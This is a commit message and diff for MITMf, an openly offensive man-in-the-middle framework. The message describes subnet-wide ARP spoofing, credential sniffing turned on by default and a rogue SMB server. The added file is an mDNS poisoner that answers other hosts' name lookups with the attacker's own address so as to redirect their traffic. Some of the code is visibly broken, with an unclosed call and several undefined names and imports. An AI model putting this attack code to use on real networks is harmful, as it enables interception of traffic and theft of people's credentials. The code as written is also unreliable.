This is 1/2 of the work done... lot's of cool stuff!

I've re-written a decent amount of the framework to support dynamic config file updates, revamped the ARP Spoofing 'engine' and changed the way MITMf integrates Responder and Netcreds.

- Net-creds is now started by default and no longer a plugin.. It's all about getting those creds after all.
- Integrated the Subterfuge Framework's ARPWatch script, it will enable itself when spoofing the whole subnet (also squashed bugs in the original ARP spoofing code)
- The spoof plugin now supports specifying a range of targets (e.g. --target 10.10.10.1-15) and multiple targets (e.g. --target 10.10.10.1,10.10.10.2)
- An SMB Server is now started by default, MITMf now uses Impacket's SMBserver as supposed to the one built into Responder, mainly for 2 reasons:
  1) Impacket is moving towards SMB2 support and is actively developed
  2) Impacket's SMB server is fully functional as supposed to Responder's (will be adding a section for it in the config file)
  3) Responder's SMB server was unrealiable when used through MITMf (After spending a day trying to figure out why, I just gave up and yanked it out)

- Responder's code has been broken down into single importable classes (way easier to manage and read, ugh!)
- Started adding dynamic config support to Responder's code and changed the logging messages to be a bit more readable.
- POST data captured through the proxy will now only be logged and printed to STDOUT when it's decodable to UTF-8 (this prevents logging encrypted data which is no use)
- Responder and the Beefapi script are no longer submodules (they seem to be a pain to package, so i removed them to help a brother out)
- Some plugins are missing because I'm currently re-writing them, will be added later
- Main plugin class now inharates from the ConfigWatcher class, this way plugins will support dynamic configs natively! \o/

core/responder/mdns/MDNSPoisoner.py

@@ -0,0 +1,103 @@
+#! /usr/bin/env python2.7
+
+from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
+import threading
+import struct
+
+from core.protocols.odict import OrderedDict
+from core.protocols.packet import Packet
+
+class MDNSPoisoner():
+
+	def start():
+		try:
+			server = ThreadingUDPMDNSServer(("0.0.0.0", 5353), MDNS)
+			t = threading.Thread(name="MDNS", target=server.serve_forever)
+			t.setDaemon(True)
+			t.start()
+		except Exception, e:
+			print "Error starting MDNSPoisoner on port %s: %s:" % (str(port),str(e))
+
+class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
+
+	allow_reuse_address = 1
+
+	def server_bind(self):
+		MADDR = "224.0.0.251"
+		self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
+		self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
+		Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,inet_aton(MADDR)+inet_aton(OURIP))
+
+		UDPServer.server_bind(self
+
+class MDNSAns(Packet):
+	fields = OrderedDict([
+		("Tid",              "\x00\x00"),
+		("Flags",            "\x84\x00"),
+		("Question",         "\x00\x00"),
+		("AnswerRRS",        "\x00\x01"),
+		("AuthorityRRS",     "\x00\x00"),
+		("AdditionalRRS",    "\x00\x00"),
+		("AnswerName",       ""),
+		("AnswerNameNull",   "\x00"),
+		("Type",             "\x00\x01"),
+		("Class",            "\x00\x01"),
+		("TTL",              "\x00\x00\x00\x78"),##Poison for 2mn.
+		("IPLen",            "\x00\x04"),
+		("IP",               "\x00\x00\x00\x00"),
+	])
+
+	def calculate(self):
+		self.fields["IP"] = inet_aton(OURIP)
+		self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
+
+def Parse_MDNS_Name(data):
+	data = data[12:]
+	NameLen = struct.unpack('>B',data[0])[0]
+	Name = data[1:1+NameLen]
+	NameLen_ = struct.unpack('>B',data[1+NameLen])[0]
+	Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
+	return Name+'.'+Name_
+
+def Poisoned_MDNS_Name(data):
+	data = data[12:]
+	Name = data[:len(data)-5]
+	return Name
+
+class MDNS(BaseRequestHandler):
+
+	def handle(self):
+		MADDR = "224.0.0.251"
+		MPORT = 5353
+		data, soc = self.request
+		if self.client_address[0] == "127.0.0.1":
+			pass
+		try:
+			if AnalyzeMode:
+				if Parse_IPV6_Addr(data):
+					#print '[Analyze mode: MDNS] Host: %s is looking for : %s'%(self.client_address[0],Parse_MDNS_Name(data))
+					responder_logger.info('[Analyze mode: MDNS] Host: %s is looking for : %s'%(self.client_address[0],Parse_MDNS_Name(data)))
+
+			if RespondToSpecificHost(RespondTo):
+				if AnalyzeMode == False:
+					if RespondToIPScope(RespondTo, self.client_address[0]):
+						if Parse_IPV6_Addr(data):
+							#print 'MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data))
+							responder_logger.info('MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data)))
+							Name = Poisoned_MDNS_Name(data)
+							MDns = MDNSAns(AnswerName = Name)
+							MDns.calculate()
+							soc.sendto(str(MDns),(MADDR,MPORT))
+
+			if AnalyzeMode == False and RespondToSpecificHost(RespondTo) == False:
+				if Parse_IPV6_Addr(data):
+					#print 'MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data))
+					responder_logger.info('MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data)))
+					Name = Poisoned_MDNS_Name(data)
+					MDns = MDNSAns(AnswerName = Name)
+					MDns.calculate()
+					soc.sendto(str(MDns),(MADDR,MPORT))
+			else:
+				pass
+		except Exception:
+			raise